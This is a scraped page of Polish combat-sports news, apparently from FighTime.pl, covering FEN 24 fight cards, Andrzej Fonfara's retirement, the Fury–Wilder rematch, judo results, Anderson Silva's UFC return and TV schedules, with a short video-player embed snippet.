Debiut w MMA zaliczy Radosław Paczuski, który spotka się z rodakiem – Jarosławem Lechem. Kolejne starcie biało-czerwonych: Dawid Kobiera kontra Mateusz Lazowski. Ten pierwszy ma na koncie premierową wygraną w MMA, drugi czeka na triumf. W akcji zobaczymy również byłego zawodnika KSW Aslambeka Saidova, który ma serię trzech zwycięstw z rzędu. Jego rywalem w hali Torwar będzie Ciro Rodrigues. Galę otworzy pojedynek Grzegorza Joniaka z Shamanem Erzanukaevem.

Fot. materiały organizatora

KM

FighTime Live – 18.02.2019

[kod]

Program TV na 18.02.2019   ""

10.00 – Konferencja Angels of Glory (2016)
10.30 – Gala Angels of Glory 1 (2016)
12.00 – STUDIO – gościem Piotr Siegoczyński (2018)
12.05 – Gala DSF 2 (2014)
13.05 – STUDIO – gośćmi Krzysztof Kaproń i Przemysław Ziemnicki (2018)
13.20 – Gala Granda PRO 1 (2016)
14.30 – STUDIO – gościem Grzegorz Chałubiński (2018)
14.50 – Gala LFN 3 (2016)
17.55 – Reportaż o Marku Piotrowskim (2018)
18.05 – STUDIO – gościem Dariusz Piwowarski (2015)
18.40 – Zakończenie programu

FighTime Live – 20.02.2019

[kod]

Program TV na 19.02.2019   ""

10.00 – STUDIO – gościem Patryk Kuryłek
10.15 – Gala Masters of Series 2 – Lesznowola
12.30 – Reportaż – Kadra Polski Judo Kobiet zgrupowanie w Cetniewie
12.55 – European Judo Open Women 2016
13.40 – STUDIO – gościem Grzegorz Engel
14.05 – Gala Pałuska Kickboxing Night 3
15.55 – Gala Granda PRO 3
17.45 – Reportaż European Judo Open Women Warsaw
18.20 – Reportaż – Road to bronze medal. Polish Judo Team Men`s, Kazań 2016
18.25 – Reportaż – Road to gold medal. Polish Judo Team Women, Kazań 2016

Rajewski z Gęsiarzem powalczą o podbój Warszawy

Robert Rajewski (5-6) zmierzy się z Michałem Gęsiarzem (18-2-1) podczas gali Fight Exclusive Night 24, która 16 marca odbędzie się w hali COS Torwar. Limit pojedynku w formule K-1 to 70 kilogramów.

Rajewski wystąpił podczas gali FEN 23 w Lubinie, gdy nieznacznie przegrał na punkty z Łukaszem Kaczmarczykiem. Zawodnik z Płocka może pochwalić się wieloma sukcesami na koncie, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

Gęsiarz, mimo że pochodzi z warszawskiego Żoliborza, w swoim rodzinnym miejście walczył tylko raz. Zawodnik mieszka i trenuje w Berlinie w klubie Golden Glory pod okiem trenera Tareka Gromnicy. Co ciekawe, w Niemczech walczy w systemie klasowym, aktualnie jest według tamtejszych zasad zawodnikiem aspirujacym do A-klasy. Gęsiarz to aktualny mistrz Europy IPTA.

Karta walk FEN 24:

+95 kg, K-1: Arkadiusz Wrzosek VS TBA * 
77 kg, MMA: Andrzej Grzebyk VS Kamil Gniadek * 
85 kg, K-1: Radosław Paczuski VS TBA * 
55 kg, MMA: Kamila Porczyk VS Anita Bekus 
80 kg: Arab VS Wujek Samo Zło 
120 kg MMA: Grzegorz Ciepliński VS Szymon Bajor 
66 kg, MMA: Kamil Łebkowski VS TBA 
84 kg, MMA: Bartosz Leśko VS Marcin Naruszczka 2 
77 kg, MMA: Marcin Krakowiak VS Michał Tarabańka 
70 kg, K-1: Robert Rajewski VS Michał Gęsiarz 

* Stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night.

Doświadczony Zieliński spróbuje powstrzymać Łebkowskiego na FEN 24

Adrian Zieliński (17-8, 4 KO, 6 SUB) zmierzy się z Kamilem Łebkowskim (16-8, 9 KO, 2 SUB) podczas gali Fight Exclusive Night 24, która 16 marca odbędzie się w hali COS Torwar. Pojedynek ten będzie eliminatorem do pasa mistrzowskiego w kategorii piórkowej.

Zieliński ma 32 lata i trenuje w olsztyńskim klubie Berkut Arachion. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Spośród 17 zwycięskich pojedynków aż 10 miało miejsce przed czasem.

Łebkowski w październiku 2018 roku po bardzo dobrym pojedynku wygrał jednogłośną decyzją sędziów z Łukaszem Demczurem. Wcześniej toczył znakomite boje z Gabrielem Silvą i Daguirem Imavovem, na rozkładzie ma również byłego zawodnika UFC, Piotra Hallmanna. Łebkowski jest jednym z najbardziej doświadczonych zawodników w FEN, a zwycięstwo z Zielińskim na początku 2019 roku ma mu otworzyć szansę na zdobycie pasa mistrzowskiego.

Karta walk FEN 24:

+95 kg, K-1: Arkadiusz Wrzosek VS Patrick Schmid * 
77 kg, MMA: Andrzej Grzebyk VS Kamil Gniadek * 
85 kg, K-1: Radosław Paczuski VS TBA * 
55 kg, MMA: Kamila Porczyk VS Anita Bekus 
80 kg: Arab VS Wujek Samo Zło 
120 kg MMA: Grzegorz Ciepliński VS Szymon Bajor 
66 kg, MMA: Kamil Łebkowski VS Adrian Ziółkowski 
84 kg, MMA: Bartosz Leśko VS Marcin Naruszczka  
77 kg, MMA: Marcin Krakowiak VS Michał Tarabańka 
70 kg, K-1: Robert Rajewski VS Michał Gęsiarz

* Stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night.

Zaskakująca decyzja Fonfary

Andrzej Fonfara podjął decyzję o zakończeniu kariery, choć 9 marca miał stoczyć kolejny pojedynek. – Nie mam już serca do boksu – wyznał 31-letni pięściarz.

W czerwcu 2018 roku Andrzej Fonfara zadebiutował w wadze junior ciężkiej (wcześniej rywalizował w półciężkiej). Polak cieszył się ze zwycięstwa w starciu z Ismaiłem Sillachem w szóstej rundzie. 9 marca Fonfara miał stoczyć drugi pojedynek w kategorii junior ciężkiej. W Dignity Health Sports Park zaplanowano starcie "Polskiego Księcia" z Edwinem Rodriguezem z Dominikany. Fonfara przygotowywał się do walki, jednak do tej ostatecznie nie dojdzie. 31-letni pięściarz ogłosił zakończenie kariery. – Prawie 20 lat w boksie! Kiedy zaczynałem w dwutysięcznym roku jako 12 letni chłopak nie myślałem, że będzie to aż tak długa i piękna przygoda którą właśnie. Kończę jako spełniony sportowiec i człowiek! – napisał w mediach społecznościowych.

W przypadku Fonfary przeszkodą do dalszej rywalizacji na pewno nie jest wiek. Również nie pojawiały się doniesienia o kłopotach zdrowotnych. Decyzja Fonfary jest zaskakująca, a prawdę mówiąc – sensacyjna. Bokser wyjaśnia powody takiego kroku. – Nie ma już tego zapału a przede wszystkim motywacji i tej adrenaliny która dawała chęci wyjścia do ringu i rywalizacji – podkreśla Fonfara. – Jestem zdrowy, wszystko OK, ale nie mam już serca do boksu. Ja zawsze na 100 procent albo nic. Inaczej nie umiem – dodaje.

 „Polski Książę” zwrócił się również do tych, którzy przez lata kariery byli przy nim. – Dziękuje wszystkim którzy byli ze mną przez te wszystkie lata mojej kariery kiedy wygrywałem a jeszcze bardziej tym którzy byli gdy przychodziła porażka  – napisał Andrzej Fonfara.

Na zawodowym ringu "Polski Książę" zadebiutował 3 czerwca 2006 roku. W Ostrołęce pokonał Miroslava Kubika. Łącznie Fonfara wygrał 30 pojedynków, w tym 18 przez nokaut. Na swoim koncie zapisał pas IBO w wadze półciężkiej. Rywalizował również o mistrzostwo WBC, jednak dwukrotnie musiał uznać wyższość Adonisa Stevensona. Fonfara stoczył wiele efektownych pojedynków. Na rozkładzie ma m.in. były mistrzów świata – Julio Cesara Chaeveza Jr., Chada Dawsona i Nathana Cleverly'ego.

Fot. Andrzej Fonfara Facebook

KM

Wielka kasa za rewanż

Tyson Fury może liczyć na pokaźne wynagrodzenie za rewanżowy pojedynek z mistrzem świata WBC w wadze ciężkiej Deontayem Wilderem. Mówi się, że na konto olbrzyma z Wilmslow wpłynie 20 milionów funtów.

Wiadomo, że gwiazdy przyciągają tłumy i ich wkład w budowanie widowiska kosztuje. Najlepsi mogą liczyć na grube miliony. 1 grudnia 2018 roku w Staples Center w Los Angeles odbyło się pasjonujące widowisko bokserskie. Tyson Fury dostał szansę, po wielu osobistych perypetiach, aby ponownie zaistnieć na szczytach kategorii ciężkiej. Mocny i dysponujący potężnym ciosem Deontay Wilder pewnie dzierżył pas WBC i odprawiał kolejnych rywali. Fury postawił się jednak Amerykaninowi i zaprezentował się z bardzo dobrej strony, czego efektem był werdykt w postaci remisu. Wilder zarobił za walkę 4 miliony dolarów, jego rywal o milion mniej. Trzeba dodać do tego również wpływy z pay per view. Wedle szacunków Wilder mógł otrzymać łącznie 14 milionów dolarów, zaś Fury 10 milionów dolarów.

Niemalże pewne było, że będzie musiało dojść do rewanżu. Wilder i Fury są gwarancją widowiska, a po pierwszej walce wszyscy spodziewają się niesamowitych grzmotów i wielkich emocji. Dodając do tego fakt, że żaden z  bokserów nie przebiera w słowach – na każdym etapie promocji walki będzie gorąco. W tle ciągle znajduje się Anthony Joshua, ale na dziś większym magnesem są Wilder i Fury, którzy są gwarantują odpowiedni poziom sportowy i show. 

Potrzeba tylko kropki nad "i". Wszystko wskazuje na to, że Wilder i Fury spotkają się 18 maja w Nowym Jorku. Brytyjczyk może liczyć na pokaźną gażę. Według "Daily Mail" Fury na rewanżowym pojedynku z Wilderem może zarobić aż 20 milionów funtów!

Kolejna walka dla „Brązowego Bombardiera” będzie dziewiątą obroną mistrzowskiego pasa. Fury stoczy czwarty pojedynek od powrotu na ring, który miał miejsce w czerwcu zeszłego roku. Obaj pięściarze jeszcze nigdy nie ponieśli porażki.

Fot. Tyson Fury Facebook

KM

Włoskie zdobycze

Dobry występ polskich kadetów w Pucharze Europy w judo w Follonicy. Złoto wywalczyła Katarzyna Sobierajska (70kg). Biało-czerwoni zajęli 5. miejsce w klasyfikacji medalowej. Z kolei w zawodach Grand Slam w Paryżu bez powodzenia rywalizował Tomasz Szczepaniak (90kg).

Judoczka AZS UW Warszawa okazała się postrachem holenderskich zawodniczek. Sobierajska stoczyła we Włoszech pięć walk, w tym aż cztery z przeciwniczkami z kraju tulipanów. Polka szła jak burza – zaczęła od pokonania Sarah Hector, w drugim starciu wygrała z Rumunką Claudią Tarbą. Kolejne pojedynki wygrała w czasie poniżej minuty – ofiarami Sobierajskiej były Yael van Heemst i Lotte Schutjes. Co istotne – zawodniczka AZS UW Warszawa cztery walki wygrała przez ippon. Dopiero w finale mocno trzymała się Cheyenne van der Sluis, ale ze złota cieszyła się Sobierajska.

O krok od triumfu był również Wojciech Grądzki (73kg). Brązowy medalista zawodów z Gyor z listopada 2018 roku stoczył we Włoszech aż sześć pojedynków. Polak bez większych problemów awansował do finału, jednak tam lepszy okazał się Szwajcar Aurelien Bonferroni. Drugie miejsce w Follonicy zajął Albin Kocioł (81kg). Polak trzy walki rozstrzygnął na swoją korzyść w mgnieniu oka, przez waza ari pokonał Rosjanina Illiasa Murzabekova. Finał był wyczerpujący. Po dogrywce Kocioł musiał uznać wyższość Mikhaila Avdeeva.

Trzecie miejsce zajęła Oliwia Onysk (40kg). Na początku Polka przegrała z Lindą Verhaart, ale poradziła sobie w repasażach. W starciu o brąz Onysk wygrała przed czasem. O podium otarła się Alicja Gowarzewska (48kg) – 5. pozycja.

Najlepiej w Follonicy zaprezentowali się gospodarze. Włosi zdobyli 14 medali, czyli o dwa mniej niż Rosjanie, jednak reprezentanci Sbronej aż dziewięciokrotnie stawali na trzecim stopniu podium przy pięciu triumfach i dwóch srebrach. Z kolei Italia zanotowała – 6 krążków z najcenniejszego kruszcu. Do tego Włosi dołożyli trzy srebra i pięć brązów.

Krótka przygoda

W turnieju Grand Slam w Paryżu zaprezentował się Tomasz Szczepaniak (90kg). Polak wygrał z Estończykiem Mattiasem Kuusikiem, ale w kolejnym starciu przegrał z reprezentantem Mołdawii Iurie Mocanu.

Najlepsi w Paryżu byli Japończycy (5-3-7), którzy wyprzedzili Francuzów (2-1-2). Za nimi Korea Południowa (2-0-3).

KM

Powrót Silvy

Po dwóch latach do oktagonu wraca Anderson Silva. Podczas gali UFC 234 w Melbourne legendarny Brazylijczyk zmierzy się z niepokonanym Israelem Adesanyą.

Niektórzy być może zdążyli zapomnieć o 43-letnim zawodniku z Kraju Kawy. Po raz ostatni Anderson Silva pojawił się w oktagonie UFC 11 lutego 2017 roku. Podczas gali UFC 208 w Barclays Center w Nowym Jorku pokonał decyzją sędziów Dereka Brunsona. Dla Brazylijczyka była to 34 wygrana w karierze. Dziewięć miesięcy później popularny "Spider" miał rywalizować z Kelvinem Gastelumem, jednak na kilka tygodni przed pojedynkiem wypadł z rozpiski ze względu na wpadkę dopingową. Było to drugie tego typu zdarzenie w karierze Silvy. Pierwsze miało miejsce w 2015 roku.

Pojawiały się informacje, że byłemu mistrzowi wagi średniej UFC może grozić nawet osiem lat zawieszenia! Sugerowano nawet ewentualne zakończenie kariery przez Brazylijczyka. Sytuacja potoczyła się inaczej. W organizmie zawodnika wykryto m.in. metylotestosteron, który pochodził z zanieczyszczonych suplementów. Na etykiecie nie została wymieniona żadna z zabronionych przez Agencję Antydopingową substancji. Kara dla Silvy – rok zawieszenia. 10 listopada 2018 roku Brazylijczyk mógł myśleć o kolejnym starciu.

10 lutego w Australii wróci do rywalizacji, ale nie będzie miał łatwego zadania. Wiek robi swoje, a młodość idzie do przodu. Israel Adesanya wygrał piętnaście walk, a w UFC debiutował w zeszłym roku. Nigeryjczyk zdążył stoczyć już cztery walki dla amerykańskiej organizacji, dwie wygrał przed czasem. Ostatnio w pierwszej rundzie odprawił Dereka Brunsona.

Silva, choć jest legendą UFC, ostatnio nie nawiązywał do najlepszych czasów. Po czterech porażkach i uznanej za nieodbytą walkę z Nickiem Diazem, przyszło zwycięstwo z Brunsonem. Czy tym razem głodny rywalizacji Silva nawiąże do starych, dobrych czasów? Adesanya będzie dążył do kolejnego zwycięstwa, które może przybliżyć do starcia o pas.

W walce wieczoru UFC 234 zaprezentują się Robert Whittaker i Kelvin Gastelum. Stawką pojedynku będzie pas wagi słomkowej, który należy do Australijczyka. Whittaker stanie do pierwszej obrony tytułu.

Fot. Anderson „The Spider” Silva Facebook

KM

LIVE: DSF 20 Królowie Ringu – Gala

Zapraszamy na transmisję telewizyjną z gali DSF 20 Królowie Ringu. Transmisja dostępna tylko dla widzów zza granicy.

[kod]

DSF Kickboxing Challenge 20

DSF Kickboxing Challenge 20

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream9/live-fhd.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream9/live-fhd.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream9/live-fhd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Szwarnowiecki: Dam z siebie wszystko

Piąte miejsce w ubiegłorocznych mistrzostwach świata w judo w Baku stanowi motywację do dalszej wytężonej pracy dla Damiana Szwarnowieckiego (81kg). 25-letniego zawodnika zobaczymy niebawem w turnieju Grand Slam w Dusseldorfie.

Medal był o krok. W Baku Szwarnowiecki radził sobie znakomicie. Polski judoka wygrał trzy pojedynki i był blisko strefy medalowej. W półfinale lepszy od Szwarnowieckiego okazał się wicemistrz świata z 2015 roku Japończyk Sotaro Fujiwara. Zawodnik Gwardii Wrocław poradził sobie w repasażach i stanął do walki o brąz. Vedat Albayrak okazał się jednak lepszy. 5. miejsce zawsze rodzi pewien niedosyt, ale to w końcu mistrzostwa świata, więc wynik budził pozytywne odczucia. – Często wracam wspomnieniami do ubiegłorocznych mistrzostw świata w Baku. Dla jednych 5 miejsce w tak dużym turnieju byłoby sukcesem, dla innych porażką, którą by rozpamiętywali. Dla mnie jest wyłącznie motywacją, aby jeszcze mocniej trenować – podkreśla w rozmowie z FighTime.pl Damian Szwarnowiecki.

Na słowach się nie kończy. Szwarnowiecki ciężko pracuje, aby osiągać jak najlepsze wyniki. W ubiegłym roku na podium stanął raz – był drugi w Pucharze Europy w Pradze. Tegoroczne starty rozpocznie od zawodów Grand Slam w Dusseldorfie, które zaplanowano na 22-24 lutego. – Od trzech miesięcy intensywnie uczestniczę w zgrupowaniach kadry narodowej. Moje przygotowania w tym okresie głównie koncentrowały się na rozwoju siły maksymalnej. W akcjach szkoleniowych organizowanych przez Polski Związek Judo od pół roku uczestniczy nowy trener przygotowania motorycznego, Igor Dzierżanowski. Dzięki celnym uwagom Igora, na obozach zostaje zachowana odpowiednia harmonia między treningami na macie, a siłownią – prezentuje Szwarnowiecki. – Moim pierwszym startem w sezonie będzie Grand Slam w Dusseldorfie. Przed turniejem planuję międzynarodowe campy w Herstal oraz Paryżu – dodaje.

Piąty zawodnik mistrzostw świata w Baku podkreśla, że skupia się na trenowaniu, aby podnosić umiejętności sportowe. To droga do sukcesu. Szwarnowiecki nie chce składać żadnych deklaracji, co do osiągnięcia konkretnych wyników. – Obiecuję wyłącznie przed sobą. Nie chcę tworzyć  niepotrzebnych presji i barier, które mogą mnie tylko przytłaczać. Wiem, że to jest mój czas i dam z siebie wszystko, aby zakwalifikować się na Igrzyska Olimpijskie w Tokio – tłumaczy judoka.

Fot. Fot. International Judo Federation

KM

DSF Kickboxing Challenge ma nowego dyrektora

Robert Złotkowski nie jest już dyrektorem sportowym federacji DSF Kickboxing Challenge. Jego miejsce zajmie Tomasz Bałdyga (na zdjęciu z prawej).

Robert Złotkowski zdobywał cenne doświadczenie jako kickbokser i bokser. Zapisał na swoim koncie mistrzostwa Polski oraz medale mistrzostw Europy w wielu formułach. To doświadczenie wykorzystuje jako trener, który współpracuje z wieloma czołowymi zawodnikami MMA m.in. Janem Błachowiczem, Marcinem Tyburą czy Danielem Omielańczukiem. W 2016 roku Złotkowski dołączył do federacji DSF Kickboxing Challenge, gdzie odpowiadał za układanie kart walk. Jego praca miała przyczynić się rozwoju organizacji i przyciągnięcia ciekawych zawodników. Jak pokazuje czas – efekty działań Złotkowskiego są widoczne. Ostatnio pełnił on funkcję dyrektora sportowego DSF. 1 lutego federacja wydała komunikat, w którym poinformowała o zmianie na wspomnianym stanowisku.

Miejsce Złotkowskiego zajmie Tomasza Bałdyga, który zna realia DSF Kickboxing Challenge. Dotychczas pracował jako matchmaker i zajmował się sprawami rozwoju sportu. – Bardzo liczymy na zaangażowanie Tomka i świadomie chcemy wzmocnić jego rolę oraz odpowiedzialność, dając mu więcej decyzyjności i autonomii. Jestem przekonany, że wraz z Tomkiem wzmocnimy zespół oparty na merytorycznym przygotowaniu, doświadczeniu i znajomości tej pięknej dyscypliny jaką jest kickboxing – podkreśla Sławomir Duba, promotor DSF Kickboxing Challenge.

Nowy dyrektor sportowy jasno określa swoje cele. – Moim priorytetem będzie komunikacja z zawodnikami, ułożenie długoterminowego planu funkcjonowania federacji oraz stworzenie optymalnych warunków do osiągania jak najlepszych wyników sportowych – powiedział Bałdyga.

Warto zaznaczyć, że to kolejna zmiana w DSF w ostatnim czasie. Od 2019 roku nowy prezesem federacji został Marek Tkaczyński, z kolei Sławomir Duba sprawuje funkcję promotora.

Najbliższa gala organizacji odbędzie się 23 lutego w Krakowie. Podczas DSF Kickboxing Challenge 20 zobaczymy dwa ćwierćfinały turnieju wagi ciężkiej, którego stawką jest walka o pas i nagroda w wysokości 100 tys. zł. W Krakowie zmierzą się: Tomas Hrom i Kirill Kornilov oraz Dawid Żółtaszek i Zaha Trofimov. Gala DSF 20 będzie wyjątkowa dla Tomasza Sarary, który po raz pierwszy będzie bronił mistrzowskiego pasa. Polski zawodnik zmierzy się z Francuzem Abderahmane Coulibaly’m.

KM

Fot. dzięki uprzejmości DSF Kickboxing Challenge Facebook